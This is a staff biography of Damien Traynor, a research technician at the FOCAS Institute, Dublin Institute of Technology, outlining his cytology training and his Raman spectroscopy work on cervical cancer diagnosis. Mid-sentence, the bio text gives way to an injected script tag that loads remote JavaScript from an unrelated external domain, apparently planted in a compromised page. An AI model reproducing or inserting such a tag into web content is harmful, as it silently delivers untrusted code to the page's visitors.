Damien Traynor

Damien Traynor is a research technician, based in the Radiation and Environmental Centre (RESC), FOCAS Institute, Dublin Institute of Technology. Damien started his education in Colaiste Dhulaigh were I achieved a higher national diploma after two years in applied biology. He then went on to study medical and molecular cytology as part of a four year degree from the Dublin Institute of Technology, Kevin Street. Following this Damien worked in the private sector for Biomnis Ireland where he trained in various departments including sample reception, client services, haematology, and cytology. He achieved membership of the academy of laboratory science in cytology in 2012 and worked for Biomnis as a primary screener for two years before he left to join FOCAS in 2014. He is now working on the CERVIVA CARG programme, specifically on the clinical evaluation of Raman spectroscopy for use in the diagnosis of cervical pre-cancer and cancer, <script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>
RESC, FOCAS Institute
Dublin Institute of Technology
Aungier Street
Dublin 2
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Research Technician